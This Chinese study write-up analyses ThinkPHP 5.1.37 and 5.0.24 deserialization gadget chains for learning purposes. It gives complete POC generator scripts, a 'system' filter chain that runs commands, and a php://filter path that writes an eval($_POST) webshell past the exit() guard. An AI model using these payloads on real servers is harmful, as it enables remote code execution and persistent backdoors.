实习的时候审代码发现自己对这种反序列化链的寻找能力不太行 于是去找个thinkphp的链子来学习学习

参考文章 https://boogipop.com/2023/03/02/ThinkPHP5.x%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%85%A8%E5%A4%8D%E7%8E%B0/

基础知识

这里先补充一下基础的知识

namespace等等反序列化链中常见的东西

namespace

namespace实际上就是命名空间,在php类与对象这一章节中用到了命名空间这个概念

我们可以把namespace理解为一个单独的空间,子命名空间就是使用 \来进行划分

1
2
3
4
5
//例如

namespace npm 这就是一个单独的空间

namespace npm\a a就是子空间了 就是在npm这个空间里面划分

用代码来解释一下

image-20240117153950615

这里的话npm就是个命名空间 A的话就是被划分的子空间了

这里如果存在多个命名空间的话 我们可以使用use来进行调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

namespace npm\A;

class a{

public function __construct(){
echo "aaaaaa";
}
}

namespace npm\B;

use npm\A\a;

class b {
public function __construct()
{
echo "bbbbb";
}
}

$a = new a();

image-20240117154339592

还有一个是可以使用 as 就是做别名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

namespace npm\A;

class a{

public function __construct(){
echo "aaaaaa";
}
}

namespace npm\B;

use npm\A\a as xixi;
//就是这里
class b {
public function __construct()
{
echo "bbbbb";
}
}

$a = new xixi();


image-20240117155130647

继承

这里直接复制boo的了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class father{
public $name="Json";
private $age=30;
public $hobby="game";
public function say(){
echo "i am father \n";
}
public function smoke(){
echo "i got smoke \n";
}
}
class son extends father{
public $name="Boogipop";
private $age=19;
public function say()
{
echo "i am son \n";
}
public function parentsay(){
parent::say();
}
}
$son=new son();
$son->say();
$son->smoke();
$son->parentsay();
echo $son->hobby;

image-20240117155352348

其实和java差不多 所以就不多讲了

trait修饰符

trait修饰符使得被修饰的类可以进行复用,增加了代码的可复用性,使用这个修饰符就可以在一个类包含另一个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

trait haha{
public function nihao(){
echo "nihao";
}
}

class a {
use haha;
public function __construct()
{
echo "aaa\n";
}
}

$a = new a();
$a->nihao();


image-20240117155837506

就是说使用trait修饰类以后 我们可以使用use来在类里直接调用他 这样就可以进行类的复用了

这里讲一下这个 trait的特性 就是他这个只use的话 他里面的方法也是可以被调用到的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

trait a{
public function __toString(){
echo "触发了toString";
}
}

class b {
use a;
public function __construct(){
echo "bbbbb";
}
}

$b = new b();
echo $b;

image-20240117162158302

这是个简单的例子

(这个特性的话在外面接下来讲的这个thinkphp的反序列化链子会用)

Thinkphp-5.1.37

环境搭建

https://github.com/top-think/framework/releases/tag/v5.1.37

https://github.com/top-think/framework/tree/5.1

php7.3.4+xdebuger+thinkphp-5.1.37+phpstorm

该反序列化漏洞属于二次触发漏洞,需要有一个入口,因此我们将控制器中的Index控制器修改一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
namespace app\index\controller;

class Index
{
// public function index()
// {
// return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
// }
//
// public function hello($name = 'ThinkPHP5')
// {
// return 'hello,' . $name;
// }
public function index($input="")
{
echo "ThinkPHP5_Unserialize:\n";
unserialize(base64_decode($input));
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
}

public function hello($name = 'ThinkPHP5')
{
return 'hello,' . $name;
}
}

image-20240117163852265

然后运行启动的样子是这样的话就成功了

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["boogipop"=>["calc.exe","calc"]];
$this->data = ["boogipop"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'boogipop'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}


namespace think\process\pipes;

use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

base64生成后直接传入

image-20240117164143176

这里简单讲讲这个poc为啥是这样写的 namespace必须是得和源码一样的 然后在定义类的时候 使用的也必须是得和源码一样的 但是在给参数赋值的时候 我们可以__construct()来进行定义 因为这个参数是不进行反序列化的

漏洞分析

image-20240117170110061

在这个地方下个断点 然后开始分析就完事了

image-20240117171019123

入口点是这个windows类的__destruct方法 我们接着跟进这个removeFiles方法

image-20240117171253674

filename是我们在poc中传入的值 就是think\model\Pivot这个类 然后因为file_exists 那么就会调用到toString方法

image-20240117171516785

这里的话就会进入到toString方法中 但是为什么是进入到Conversion这个类的toString方法中???

其实这里的原因就是刚刚在上面讲trait的时候讲到的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006~2018 http://thinkphp.cn All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: liu21st <liu21st@gmail.com>
// +----------------------------------------------------------------------

namespace think\model;

use think\Model;

class Pivot extends Model
{

/** @var Model */
public $parent;

protected $autoWriteTimestamp = false;

/**
* 架构函数
* @access public
* @param array|object $data 数据
* @param Model $parent 上级模型
* @param string $table 中间数据表名
*/
public function __construct($data = [], Model $parent = null, $table = '')
{
$this->parent = $parent;

if (is_null($this->name)) {
$this->name = $table;
}

parent::__construct($data);
}

}

我们回到think\model\Pivot 这个类中 我们发现这个类中是没有toString方法的 但是这个类是继承于Model这个类 然而在pivot这个类中没有找到`toString`方法的时候 就会到父类中去寻找

image-20240117171953168

然而父类中也是没有这个方法的 但是这个父类使用use调用了Conversion这个用trait修饰的类

image-20240117172105733

所以就会去到这个类中寻找

image-20240117172139099

然后这样就会调用到了 (这里就和我们上面讲的trait修饰符的特殊之处对应上了)

这里借用boo师傅的一张图

image.png

image-20240118100623108

跟着进入这个toJson方法 然后接着跟进这个toArray方法

image-20240118100705471

跟进toArray方法

image-20240118100813573

重点主要是toArray方法中的这三个方法 我们挨个跟进

image-20240118100951136

在poc中 我们设置了这个key -value值

image-20240118101056831

所以这里的值就是boogipop的key值 因为这里key不为空 所以直接返回空

image-20240118101211331

因为我们返回的key值为空 所以能进入if判断 所以进入到了这个getAttr的方法中

image-20240118101306812

接着跟进这个getData方法中 看看里面是获取了什么东西

image-20240118101602279

因为我们的参数名是boogipop 那么第一个if不满足条件 于是跳到了第二个if中 直接返回值

image-20240118101704892

这里返回的Request对象 就是在我们刚刚poc中设置的对象

image-20240118101738321

这就是在我们poc中设置的键值对了

image-20240118101914241

因为$relation为我们刚刚获取到的request对象 因为request对象中没有visible这个方法 那么就会调用到__call魔术方法

image-20240118102113131

image-20240118102214428

image-20240118102229712

然后传进来的参数就变成了 我们刚刚设置的那个数组的键值对了

首先使用array_shift往之前的[calc,calc.exe]数组插入$this也就是Request对象,之后调用call_user_func_array方法,其中$this->hook[$method]就是$this->hook['visible'],在POC中为isAjax方法,跟进该方法:

image-20240118102611000

然后我们接着跟进这个param方法

image-20240118102706685

然后我们接着跟进这个input方法 这个方法的就是获取我们url输入的键值对

image-20240118102845013

然后跟进这个getData方法 看看其能获取到什么东西

image-20240118102953982

这个函数就是遍历我们传入的键值对 然后返回该结果 这里就将我们传入的whoami给获取到了

image-20240118103054878

跟进这个getFilter方法 因为我们在poc初始化的时候给filter也赋值了

image-20240118103149054

这里用个三目运算符来进行判断 如果filter传入为空的话就用我们的初始化值

image-20240118103253845

在poc中的话也指定了这个filter的值

image-20240118103350265

然后将这个空值传入到这个filter数组中去 不过没有影响 后面会有函数将null给除去

image-20240118103509930

然后我们接着跟进这个filterValue方法

image-20240118103542067

跟进之后 我们返回了这里会使用array_pop方法来将我们的filter数组的最后一个数给除去

image-20240118103644583

然后最后我的call_user_func就会执行我们构造的恶意命令了 然后成功完成RCE

image.png

贴一张链子的完全图

修复方法

官方是把Request的__call方法给除去了 那么链子的后半段就完全断掉了

Thinkphp-5.0.24

在5.0.24和5.0.18可用,5.0.9不可用

环境搭建

https://www.codejie.net/5913.html

php7.3.4+xdebuger+thinkphp-5.0.24+phpstorm

该反序列化漏洞属于二次触发漏洞,需要有一个入口,因此我们将控制器中的Index控制器修改一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
namespace app\index\controller;

class Index
{
public function index($input="")
{
echo "ThinkPHP5_Unserialize:\n";
unserialize(base64_decode($input));
return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ad_bd568ce7058a1091"></think>';
}
public function hello($name="")
{
echo $name;
}
}

image-20240118140117639

然后这样就搭建完成了

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
<?php


//__destruct
namespace think\process\pipes {
class Windows
{
private $files = [];

public function __construct($pivot)
{
$this->files[] = $pivot; //传入Pivot类
}
}
}

//__toString Model子类
namespace think\model {
class Pivot
{
protected $parent;
protected $append = [];
protected $error;

public function __construct($output, $hasone)
{
$this->parent = $output; //$this->parent等于Output类
$this->append = ['a' => 'getError'];
$this->error = $hasone; //$modelRelation=$this->error
}
}
}

//getModel
namespace think\db {
class Query
{
protected $model;

public function __construct($output)
{
$this->model = $output; //get_class($modelRelation->getModel()) == get_class($this->parent)
}
}
}

namespace think\console {
class Output
{
private $handle = null;
protected $styles;

public function __construct($memcached)
{
$this->handle = $memcached;
$this->styles = ['getAttr'];
}
}
}

//Relation
namespace think\model\relation {
class HasOne
{
protected $query;
protected $selfRelation;
protected $bindAttr = [];

public function __construct($query)
{
$this->query = $query; //调用Query类的getModel

$this->selfRelation = false; //满足条件!$modelRelation->isSelfRelation()
$this->bindAttr = ['a' => 'admin']; //控制__call的参数$attr
}
}
}

namespace think\session\driver {
class Memcached
{
protected $handler = null;

public function __construct($file)
{
$this->handler = $file; //$this->handler等于File类
}
}
}

namespace think\cache\driver {
class File
{
protected $options = [
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'cache_subdir' => false,
'prefix' => '',
'data_compress' => false
];
protected $tag = true;


}
}

namespace {
$file = new think\cache\driver\File();
$memcached = new think\session\driver\Memcached($file);
$output = new think\console\Output($memcached);
$query = new think\db\Query($output);
$hasone = new think\model\relation\HasOne($query);
$pivot = new think\model\Pivot($output, $hasone);
$windows = new think\process\pipes\Windows($pivot);

echo base64_encode(serialize($windows));
}

生成base64编码后直接打

image-20240118140400694

执行后会在当前目录下生成两个文件

image-20240118140426841

image-20240118140454334

然后访问就行了

image-20240118140515870

成功RCE

漏洞分析

image-20240118140640755

在此处下个断点 前面的话和刚刚5.1.37那条链子还是一样的 主要是后面不太相同

image-20240118141135360

然后还是进入到这个windows这个类中 还是得跟进到removeFiles方法中

image-20240118141656177

跟进到这个removeFiles中 然后原因也和5.1的版本是一样的 filename是pivot对象 所以直接会调用到toString方法 但是这里没有Conversion这个类 所以会直接调用到Model这个类中的toString方法

image-20240118141939561

进入toJson方法中

image-20240118142026967

然后接着进入到toArray这个方法中

image-20240118142050860

在我们进入到这个toArray以后 接下来的操作就和5.1版本的就不同了

image-20240118142628151

这是等会我们需要用到的4个重要的函数方法 我们先跟进这个parseName方法 来看这个$relation是怎么获取到的

image-20240118142924503

image-20240118142907106

进入到parseName后 我们获取到其relation的值为getError函数 并且Model类中存在这个函数 那么我们就会进入到这个Method_exists方法中

image-20240118143146658

这里的话就会调用这个getError方法 来给modelRelation赋值 我们跟进这个relation方法中

image-20240118143308014

这里的话是返回HashOne这个类 (因为可控 我们设置成了HashOne)

image-20240118143511444

这里Model是Pivot的父类

image-20240118143544250

然后我们就可以在pivot中队Model的error参数赋值 这就是error可控的原因

image-20240118143813631

进入到getRalationData中 这个函数的返回结果是对$value的赋值 然而通过代码 我们发现其要进入到给$value赋值需要三个条件

  • $this->parent
  • !$modelRelation->isSelfRelation()
  • get_class($modelRelation->getModel()) == get_class($this->parent))

条件一

首先我们要知道在toString这一步我们需要做什么,5.1版本是触发了call方法,那么这里我们也应该寻找能否找到合适的call方法,最后结果就是think\console\Output类,那么我们应该让这个方法返回一个Output对象,这样在出去之后执行$value->getAttr($attr)才会触发`call魔术方法,而该方法中value的值就是$this->parent`,所以第一个条件parent需要为Output对象

条件二

对于第二个条件,$modelRelation我们已经完成了赋值,为HasOne对象,我们观察一下

image-20240118144542810

先看看HasOne对象 继承于OneToOne对象 然后跟进OneToOne对象

image-20240118144635007

然后发现这个OneToOne继承于Relation对象

image-20240118144711774

然后我们发现这个isSelfRelation函数就是在Relation这个类中 那么我们就可以直接在HasOne这个类中定义这个selfRelation的值了 只需让他为false即可

条件三

最后一个条件需要让Hasone::getModel返回一个Output对象($this->parent),观察该方法:

image-20240118144956361

直接调用其父类中的getModel方法 并且这个$this->query可控 所以我们接着去全局寻找谁的getModel方法能够返回Output对象

image-20240118145143837

/thinkphp/library/think/db/Query.php中的getModel方法我们可控: 所以条件三也满足

在这里只需要让this->query==thinkphp/library/thinl/db/Query.php即可,然后让他的model属性为Output对象

image-20240118145258277

满足条件 成功给$value赋值为Output对象 然后我们进入到getBindAttr方法中

image-20240118145517139

直接进入到HasOne的父类OneToOne的getBindAttr中

返回HasOne对象的bindAttr属性,这里我们设置为一个数组["a"=>"admin"],这里的admin和结果中的文件名有关

image-20240118145733563

这里的话对我们输入的$bindAttr进行遍历 然后因为$value是我们之前设置的Output类 然后这个类中没有getAttr方法 于是就会进入到这个类的__call方法中

image-20240118150350008

进入到这个call方法中的时候 有点和5.1类似的地方了

image-20240118150521050

用array_shift方法将method和args结合在了一起,随后调用call_user_func_array方法调用了自己的block方法,跟进该方法:

image-20240118150647367

然后接着跟进这个writeln方法中 message是admin

image-20240118150729940

其他参数不变 message还是为admin 然后我们接着跟进这个write方法中

image-20240118150821402

然后我们发现了这个handle可控 我们全局找write方法 最终在Memcached类找到合适的write方法,因此让Output的handle属性为Memcached类:

image-20240118150928189

调用到了这个Memcached类中的write方法 还调用了set方法,再找谁调用了set,最终在think/cache/driver/File类找到了,因此让Memcache对象的handler属性变为File对象,最后触发它的set方法,参数为上面带下来的:

image-20240118151029284

image-20240118151110533

然后我们发现这个类中有个file_put_contents函数 但是有个前提是得绕过这个死亡exit 不然会终止进程 导致内容写不进去

死亡die绕过

image-20240118151527670

这里的话我们跟进这个getCacheKey函数 因为我们的filename是通过这个函数来获取的

image-20240118151619990

这个name的话是我们在前面的传入的值 <getAttr>admini<getAttr> 的md5值

其中this->options['path']是我们可控的,这里让他为php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php可以绕过死亡函数

但是我们要注意,即使可控文件名,但是文件内容$data,也就是$value在这一次进入set方法不可控,为默认的true,因此即使能创建文件也不能写马
继续往下分析会调用

image-20240118152131600

这里的返回名字是 php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php63ac11a7699c5c57d85009296440d77a.php

但是这里的data我们不可控 所以没有办法 我们进入到下面的if后 我们发现还有个setTagItem函数 然后我们跟进

image-20240118152244714

image-20240118153005523

然后这个会再次进入到这个set方法中 并且这个key和value值1可控 那么就会再次执行fileputcontent函数 就会再次写入值

第二个文件名就是php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php+md5(tag_c4ca4238a0b923820dcc509a6f75849b)+.php

第二个可控是因为这个filename和data的值是一样的 传入的时候

https://xz.aliyun.com/t/7457?time__1311=n4%2BxnD0G0%3Dit0QDkDcnDlhjmP8twK%3DTYr%3Dd4D&alichlgref=https%3A%2F%2Flink.csdn.net%2F%3Ftarget%3Dhttps%253A%252F%252Fxz.aliyun.com%252Ft%252F7457%2523toc-3

这篇文章解释了为什么能能在windows下使用phpfilter生成文件的原因

image-20240118153216548

image-20240118153252600

这个就是专门生成写入的值 然后这里就完成FW了

这里贴一张链子图

20221011115008-ccb4a1ce-4917-1.png